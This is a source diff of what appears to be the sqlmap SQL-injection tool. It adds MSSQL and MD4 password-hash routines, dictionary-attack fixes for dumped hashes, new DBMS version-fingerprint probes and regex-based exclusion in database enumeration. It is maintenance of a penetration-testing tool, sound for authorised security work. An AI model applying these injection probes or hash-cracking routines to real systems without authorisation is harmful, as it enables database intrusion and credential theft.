@@ -155,7 +156,24 @@ def postgres_passwd(password, username, uppercase=False):
return retVal.upper() if uppercase else retVal.lower() return retVal.upper() if uppercase else retVal.lower()
def mssql_passwd(password, salt, uppercase=False): def mssql_new_passwd(password, salt, uppercase=False): # since version '2012'
"""
Reference(s):
http://hashcat.net/forum/thread-1474.html
https://sqlity.net/en/2460/sql-password-hash/
>>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
'0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
"""
binsalt = decodeHex(salt)
unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_passwd(password, salt, uppercase=False): # versions '2005' and '2008'
""" """
Reference(s): Reference(s):
http://www.leidecker.info/projects/phrasendrescher/mssql.c http://www.leidecker.info/projects/phrasendrescher/mssql.c
@@ -172,7 +190,7 @@ def mssql_passwd(password, salt, uppercase=False):
return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005' def mssql_old_passwd(password, salt, uppercase=True): # version '2000' and before
""" """
Reference(s): Reference(s):
www.exploit-db.com/download_pdf/15537/ www.exploit-db.com/download_pdf/15537/
@@ -190,22 +208,6 @@ def mssql_old_passwd(password, salt, uppercase=True): # prior to version '2005'
return "0x%s" % (retVal.upper() if uppercase else retVal.lower()) return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def mssql_new_passwd(password, salt, uppercase=False):
"""
Reference(s):
http://hashcat.net/forum/thread-1474.html
>>> mssql_new_passwd(password='testpass', salt='4086ceb6', uppercase=False)
'0x02004086ceb6eb051cdbc5bdae68ffc66c918d4977e592f6bdfc2b444a7214f71fa31c35902c5b7ae773ed5f4c50676d329120ace32ee6bc81c24f70711eb0fc6400e85ebf25'
"""
binsalt = decodeHex(salt)
unistr = b"".join((_.encode(UNICODE_ENCODING) + b"\0") if ord(_) < 256 else _.encode(UNICODE_ENCODING) for _ in password)
retVal = "0200%s%s" % (salt, sha512(unistr + binsalt).hexdigest())
return "0x%s" % (retVal.upper() if uppercase else retVal.lower())
def oracle_passwd(password, salt, uppercase=True): def oracle_passwd(password, salt, uppercase=True):
""" """
Reference(s): Reference(s):
@@ -246,6 +248,18 @@ def oracle_old_passwd(password, username, uppercase=True): # prior to version '
return retVal.upper() if uppercase else retVal.lower() return retVal.upper() if uppercase else retVal.lower()
def md4_generic_passwd(password, uppercase=False):
"""
>>> md4_generic_passwd(password='testpass', uppercase=False)
'5b4d300688f19c8fd65b8d6ccf98e0ae'
"""
password = getBytes(password)
retVal = hashlib.new("md4", password).hexdigest()
return retVal.upper() if uppercase else retVal.lower()
def md5_generic_passwd(password, uppercase=False): def md5_generic_passwd(password, uppercase=False):
""" """
>>> md5_generic_passwd(password='testpass', uppercase=False) >>> md5_generic_passwd(password='testpass', uppercase=False)
@@ -666,6 +680,9 @@ def attackDumpedTable():
if len(table[column]["values"]) <= i: if len(table[column]["values"]) <= i:
continue continue
if conf.binaryFields and column in conf.binaryFields:
continue
value = table[column]["values"][i] value = table[column]["values"][i]
if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None: if column in binary_fields and re.search(HASH_BINARY_COLUMNS_REGEX, column) is not None:
@@ -708,6 +725,7 @@ def attackDumpedTable():
if hash_: if hash_:
key = hash_ if hash_ not in replacements else replacements[hash_] key = hash_ if hash_ not in replacements else replacements[hash_]
lut[key.lower()] = password lut[key.lower()] = password
lut["0x%s" % key.lower()] = password
debugMsg = "post-processing table dump" debugMsg = "post-processing table dump"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -942,6 +960,8 @@ def dictionaryAttack(attack_dict):
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64): if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}] item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1): elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
if hash_.startswith("0x"): # Reference: https://docs.microsoft.com/en-us/sql/t-sql/functions/hashbytes-transact-sql?view=sql-server-2017
hash_ = hash_[2:]
item = [(user, hash_), {}] item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,): elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}] item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
@@ -983,7 +1003,7 @@ def dictionaryAttack(attack_dict):
resumes.append((user, hash_, resumed)) resumes.append((user, hash_, resumed))
keys.add(hash_) keys.add(hash_)
except (binascii.Error, IndexError): except (binascii.Error, TypeError, IndexError):
pass pass
if not attack_info: if not attack_info:
+1 -1
View File
@@ -78,7 +78,7 @@ class ReqHandler(_BaseHTTPServer.BaseHTTPRequestHandler):
self.send_header(HTTP_HEADER.CONNECTION, "close") self.send_header(HTTP_HEADER.CONNECTION, "close")
if content is not None: if content is not None:
for match in re.finditer(b"<\!(\w+)\!>", content): for match in re.finditer(b"<!(\\w+)!>", content):
name = match.group(1) name = match.group(1)
_ = getattr(self, "_%s" % name.lower(), None) _ = getattr(self, "_%s" % name.lower(), None)
if _: if _:
+1 -1
View File
@@ -7,7 +7,6 @@ See the file 'LICENSE' for copying permission
import re import re
from extra.safe2bin.safe2bin import safechardecode
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.bigarray import BigArray from lib.core.bigarray import BigArray
from lib.core.common import Backend from lib.core.common import Backend
@@ -33,6 +32,7 @@ from lib.core.settings import MAX_INT
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
from lib.request import inject from lib.request import inject
from lib.utils.safe2bin import safechardecode
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
def pivotDumpTable(table, colList, count=None, blind=True, alias=None): def pivotDumpTable(table, colList, count=None, blind=True, alias=None):
+2 -1
View File
@@ -15,6 +15,7 @@ import string
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import openFile from lib.core.common import openFile
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getUnicode
from lib.core.data import logger from lib.core.data import logger
from thirdparty.six import unichr as _unichr from thirdparty.six import unichr as _unichr
@@ -84,4 +85,4 @@ def purge(directory):
try: try:
shutil.rmtree(directory) shutil.rmtree(directory)
except OSError as ex: except OSError as ex:
logger.error("problem occurred while removing directory '%s' ('%s')" % (directory, getSafeExString(ex))) logger.error("problem occurred while removing directory '%s' ('%s')" % (getUnicode(directory), getSafeExString(ex)))
@@ -1,23 +1,15 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from __future__ import print_function
import binascii import binascii
import re import re
import string import string
import os
import sys import sys
from optparse import OptionError
from optparse import OptionParser
if sys.version_info >= (3, 0): if sys.version_info >= (3, 0):
xrange = range xrange = range
text_type = str text_type = str
@@ -49,10 +41,10 @@ def safecharencode(value):
""" """
Returns safe representation of a given basestring value Returns safe representation of a given basestring value
>>> safecharencode(u'test123') >>> safecharencode(u'test123') == u'test123'
u'test123' True
>>> safecharencode(u'test\x01\x02\xff') >>> safecharencode(u'test\x01\x02\xaf') == u'test\\\\x01\\\\x02\\xaf'
u'test\\01\\02\\03\\ff' True
""" """
retVal = value retVal = value
@@ -107,37 +99,3 @@ def safechardecode(value, binary=False):
retVal[i] = safechardecode(value[i]) retVal[i] = safechardecode(value[i])
return retVal return retVal
def main():
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')
try:
parser.add_option('-i', dest='inputFile', help='Input file')
parser.add_option('-o', dest='outputFile', help='Output file')
(args, _) = parser.parse_args()
if not args.inputFile:
parser.error('Missing the input file, -h for help')
except (OptionError, TypeError) as ex:
parser.error(ex)
if not os.path.isfile(args.inputFile):
print('ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile)
sys.exit(1)
f = open(args.inputFile, 'r')
data = f.read()
f.close()
if not args.outputFile:
args.outputFile = args.inputFile + '.bin'
f = open(args.outputFile, 'wb')
f.write(safechardecode(data))
f.close()
if __name__ == '__main__':
main()
+2 -1
View File
@@ -76,7 +76,8 @@ class SQLAlchemy(GenericConnector):
pass pass
elif "invalid literal for int() with base 10: '0b" in traceback.format_exc(): elif "invalid literal for int() with base 10: '0b" in traceback.format_exc():
raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')") raise SqlmapConnectionException("SQLAlchemy connection issue ('https://bitbucket.org/zzzeek/sqlalchemy/issues/3975')")
raise else:
pass
except SqlmapFilePathException: except SqlmapFilePathException:
raise raise
except Exception as ex: except Exception as ex:
+4 -2
View File
@@ -10,6 +10,7 @@ import re
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import Format from lib.core.common import Format
from lib.core.common import randomRange from lib.core.common import randomRange
from lib.core.common import randomStr
from lib.core.compat import xrange from lib.core.compat import xrange
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
@@ -74,13 +75,14 @@ class Fingerprint(GenericFingerprint):
("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")), ("1.5", ("NULLIF(%d,%d) IS NULL", "EXISTS(SELECT CURRENT_TRANSACTION FROM RDB$DATABASE)")),
("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")), ("2.0", ("EXISTS(SELECT CURRENT_TIME(0) FROM RDB$DATABASE)", "BIT_LENGTH(%d)>0", "CHAR_LENGTH(%d)>0")),
("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")), ("2.1", ("BIN_XOR(%d,%d)=0", "PI()>0.%d", "RAND()<1.%d", "FLOOR(1.%d)>=0")),
# TODO: add test for Firebird 2.5 ("2.5", ("'%s' SIMILAR TO '%s'",)), # Reference: https://firebirdsql.org/refdocs/langrefupd25-similar-to.html
("3.0", ("FALSE IS FALSE",)), # https://www.firebirdsql.org/file/community/conference-2014/pdf/02_fb.2014.whatsnew.30.en.pdf
) )
for i in xrange(len(table)): for i in xrange(len(table)):
version, checks = table[i] version, checks = table[i]
failed = False failed = False
check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))) check = checks[randomRange(0, len(checks) - 1)].replace("%d", getUnicode(randomRange(1, 100))).replace("%s", getUnicode(randomStr()))
result = inject.checkBooleanExpression(check) result = inject.checkBooleanExpression(check)
if result: if result:
+1 -1
View File
@@ -96,7 +96,7 @@ class Fingerprint(GenericFingerprint):
infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX infoMsg = "actively fingerprinting %s" % DBMS.INFORMIX
logger.info(infoMsg) logger.info(infoMsg)
for version in ("12.1", "11.7", "11.5"): for version in ("14.1", "12.1", "11.7", "11.5", "10.0"):
output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version) output = inject.checkBooleanExpression("EXISTS(SELECT 1 FROM SYSMASTER:SYSDUAL WHERE DBINFO('VERSION,'FULL') LIKE '%%%s%%')" % version)
if output: if output:
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import safeSQLIdentificatorNaming
@@ -121,7 +123,7 @@ class Enumeration(GenericEnumeration):
colList = [] colList = []
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+2 -2
View File
@@ -14,7 +14,7 @@ except:
import logging import logging
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.convert import getBytes from lib.core.convert import getText
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
retVal = False retVal = False
try: try:
self.cursor.execute(getBytes(query)) self.cursor.execute(getText(query))
retVal = True retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))
+7 -5
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import getLimitRange from lib.core.common import getLimitRange
@@ -96,7 +98,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
if conf.exclude and db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
@@ -119,7 +121,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
if conf.exclude and db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
@@ -209,7 +211,7 @@ class Enumeration(GenericEnumeration):
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
if conf.exclude and db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % db infoMsg = "skipping database '%s'" % db
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
@@ -283,7 +285,7 @@ class Enumeration(GenericEnumeration):
colList = conf.col.split(',') colList = conf.col.split(',')
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
origTbl = conf.tbl origTbl = conf.tbl
origDb = conf.db origDb = conf.db
@@ -344,7 +346,7 @@ class Enumeration(GenericEnumeration):
if conf.excludeSysDbs and db in self.excludeDbsList: if conf.excludeSysDbs and db in self.excludeDbsList:
continue continue
if conf.exclude and db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
continue continue
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
+2 -1
View File
@@ -94,7 +94,8 @@ class Fingerprint(GenericFingerprint):
("2008", "SYSDATETIME()=SYSDATETIME()"), ("2008", "SYSDATETIME()=SYSDATETIME()"),
("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"), ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)"),
("2014", "CHARINDEX('12.0.2000',@@version)>0"), ("2014", "CHARINDEX('12.0.2000',@@version)>0"),
("2016", "ISJSON(NULL) IS NULL") ("2016", "ISJSON(NULL) IS NULL"),
("2017", "TRIM(NULL) IS NULL")
): ):
result = inject.checkBooleanExpression(check) result = inject.checkBooleanExpression(check)
+5 -3
View File
@@ -41,6 +41,8 @@ class Fingerprint(GenericFingerprint):
return None return None
# Reference: https://downloads.mysql.com/archives/community/ # Reference: https://downloads.mysql.com/archives/community/
# Reference: https://dev.mysql.com/doc/relnotes/mysql/<major>.<minor>/en/
versions = ( versions = (
(32200, 32235), # MySQL 3.22 (32200, 32235), # MySQL 3.22
(32300, 32359), # MySQL 3.23 (32300, 32359), # MySQL 3.23
@@ -50,10 +52,10 @@ class Fingerprint(GenericFingerprint):
(50100, 50174), # MySQL 5.1 (50100, 50174), # MySQL 5.1
(50400, 50404), # MySQL 5.4 (50400, 50404), # MySQL 5.4
(50500, 50562), # MySQL 5.5 (50500, 50562), # MySQL 5.5
(50600, 50646), # MySQL 5.6 (50600, 50648), # MySQL 5.6
(50700, 50726), # MySQL 5.7 (50700, 50730), # MySQL 5.7
(60000, 60014), # MySQL 6.0 (60000, 60014), # MySQL 6.0
(80000, 80015), # MySQL 8.0 (80000, 80021), # MySQL 8.0
) )
index = -1 index = -1
+5 -5
View File
@@ -15,7 +15,7 @@ import os
import re import re
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.convert import getBytes from lib.core.convert import getText
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -34,9 +34,9 @@ class Connector(GenericConnector):
def connect(self): def connect(self):
self.initConnection() self.initConnection()
self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db)
self.__dsn = getBytes(self.__dsn) self.__dsn = getText(self.__dsn)
self.user = getBytes(self.user) self.user = getText(self.user)
self.password = getBytes(self.password) self.password = getText(self.password)
try: try:
self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA)
@@ -67,7 +67,7 @@ class Connector(GenericConnector):
retVal = False retVal = False
try: try:
self.cursor.execute(getBytes(query)) self.cursor.execute(getText(query))
retVal = True retVal = True
except cx_Oracle.DatabaseError as ex: except cx_Oracle.DatabaseError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
+4 -3
View File
@@ -21,6 +21,7 @@ from lib.core.enums import DBMS
from lib.core.enums import EXPECTED from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.settings import CURRENT_USER
from lib.request import inject from lib.request import inject
from plugins.generic.enumeration import Enumeration as GenericEnumeration from plugins.generic.enumeration import Enumeration as GenericEnumeration
@@ -30,7 +31,7 @@ class Enumeration(GenericEnumeration):
rootQuery = queries[DBMS.ORACLE].roles rootQuery = queries[DBMS.ORACLE].roles
if conf.user == "CU": if conf.user == CURRENT_USER:
infoMsg += " for current user" infoMsg += " for current user"
conf.user = self.getCurrentUser() conf.user = self.getCurrentUser()
@@ -55,7 +56,7 @@ class Enumeration(GenericEnumeration):
values = inject.getValue(query, blind=False, time=False) values = inject.getValue(query, blind=False, time=False)
if not values and not query2: if not values and not query2:
infoMsg = "trying with table USER_ROLE_PRIVS" infoMsg = "trying with table 'USER_ROLE_PRIVS'"
logger.info(infoMsg) logger.info(infoMsg)
return self.getRoles(query2=True) return self.getRoles(query2=True)
@@ -116,7 +117,7 @@ class Enumeration(GenericEnumeration):
if not isNumPosStrValue(count): if not isNumPosStrValue(count):
if count != 0 and not query2: if count != 0 and not query2:
infoMsg = "trying with table USER_SYS_PRIVS" infoMsg = "trying with table 'USER_SYS_PRIVS'"
logger.info(infoMsg) logger.info(infoMsg)
return self.getPrivileges(query2=True) return self.getPrivileges(query2=True)
+1 -1
View File
@@ -105,7 +105,7 @@ class Fingerprint(GenericFingerprint):
logger.info(infoMsg) logger.info(infoMsg)
# Reference: https://en.wikipedia.org/wiki/Oracle_Database # Reference: https://en.wikipedia.org/wiki/Oracle_Database
for version in ("18c", "12c", "11g", "10g", "9i", "8i"): for version in ("19c", "18c", "12c", "11g", "10g", "9i", "8i", "7"):
number = int(re.search(r"([\d]+)", version).group(1)) number = int(re.search(r"([\d]+)", version).group(1))
output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2))
+1 -1
View File
@@ -32,7 +32,7 @@ class Filesystem(GenericFilesystem):
return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread") return self.udfEvalCmd(cmd=remoteFile, udfName="sys_fileread")
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): def unionWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "PostgreSQL does not support file upload with UNION " errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique" errMsg += "query SQL injection technique"
raise SqlmapUnsupportedFeatureException(errMsg) raise SqlmapUnsupportedFeatureException(errMsg)
+2 -1
View File
@@ -10,6 +10,7 @@ import os
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import decloakToTemp from lib.core.common import decloakToTemp
from lib.core.common import flattenValue
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import isStackingAvailable from lib.core.common import isStackingAvailable
from lib.core.common import randomStr from lib.core.common import randomStr
@@ -104,7 +105,7 @@ class Takeover(GenericTakeover):
output = inject.getValue(query, resumeValue=False) output = inject.getValue(query, resumeValue=False)
if isListLike(output): if isListLike(output):
output = os.linesep.join(output) output = os.linesep.join(flattenValue(output))
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
inject.goStacked(self._cleanupCmd) inject.goStacked(self._cleanupCmd)
+2 -2
View File
@@ -13,7 +13,7 @@ except:
import logging import logging
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.convert import getBytes from lib.core.convert import getText
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -75,7 +75,7 @@ class Connector(GenericConnector):
def execute(self, query): def execute(self, query):
try: try:
self.cursor.execute(getBytes(query)) self.cursor.execute(getText(query))
except self.__sqlite.OperationalError as ex: except self.__sqlite.OperationalError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex)) logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex))
except self.__sqlite.DatabaseError as ex: except self.__sqlite.DatabaseError as ex:
+2 -2
View File
@@ -14,7 +14,7 @@ except:
import logging import logging
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.convert import getBytes from lib.core.convert import getText
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
@@ -58,7 +58,7 @@ class Connector(GenericConnector):
retVal = False retVal = False
try: try:
self.cursor.execute(getBytes(query)) self.cursor.execute(getText(query))
retVal = True retVal = True
except (pymssql.OperationalError, pymssql.ProgrammingError) as ex: except (pymssql.OperationalError, pymssql.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " ")) logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) '%s'" % getSafeExString(ex).replace("\n", " "))
+3 -1
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
from lib.core.common import filterPairValues from lib.core.common import filterPairValues
from lib.core.common import isListLike from lib.core.common import isListLike
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
@@ -185,7 +187,7 @@ class Enumeration(GenericEnumeration):
colList = [] colList = []
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+3 -6
View File
@@ -61,16 +61,13 @@ class Custom(object):
return None return None
else: else:
if sqlType: if sqlType:
debugMsg = "executing %s query: '%s'" % (sqlType if sqlType is not None else "SQL", query) infoMsg = "executing %s statement: '%s'" % (sqlType if sqlType is not None else "SQL", query)
else: else:
debugMsg = "executing unknown SQL type query: '%s'" % query infoMsg = "executing unknown SQL command: '%s'" % query
logger.debug(debugMsg) logger.info(infoMsg)
inject.goStacked(query) inject.goStacked(query)
debugMsg = "done"
logger.debug(debugMsg)
output = NULL output = NULL
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
+4 -2
View File
@@ -5,6 +5,8 @@ Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import re
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import arrayizeValue from lib.core.common import arrayizeValue
from lib.core.common import Backend from lib.core.common import Backend
@@ -332,7 +334,7 @@ class Databases(object):
logger.info(infoMsg) logger.info(infoMsg)
continue continue
if conf.exclude and db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, db, re.I) is not None:
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
@@ -466,7 +468,7 @@ class Databases(object):
colList = [] colList = []
if conf.exclude: if conf.exclude:
colList = [_ for _ in colList if _ not in conf.exclude.split(',')] colList = [_ for _ in colList if re.search(conf.exclude, _, re.I) is None]
for col in colList: for col in colList:
colList[colList.index(col)] = safeSQLIdentificatorNaming(col) colList[colList.index(col)] = safeSQLIdentificatorNaming(col)
+9 -8
View File
@@ -25,6 +25,7 @@ from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue from lib.core.common import unArrayizeValue
from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming
from lib.core.convert import getConsoleLength
from lib.core.convert import getUnicode from lib.core.convert import getUnicode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -77,7 +78,7 @@ class Entries(object):
errMsg += "the tables' columns" errMsg += "the tables' columns"
raise SqlmapMissingMandatoryOptionException(errMsg) raise SqlmapMissingMandatoryOptionException(errMsg)
if conf.exclude and conf.db in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, conf.db, re.I) is not None:
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db) infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
return return
@@ -111,7 +112,7 @@ class Entries(object):
if kb.dumpKeyboardInterrupt: if kb.dumpKeyboardInterrupt:
break break
if conf.exclude and tbl in conf.exclude.split(','): if conf.exclude and re.search(conf.exclude, tbl, re.I) is not None:
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl) infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
singleTimeLogMessage(infoMsg) singleTimeLogMessage(infoMsg)
continue continue
@@ -144,7 +145,7 @@ class Entries(object):
colList = sorted(column for column in columns if column) colList = sorted(column for column in columns if column)
if conf.exclude: if conf.exclude:
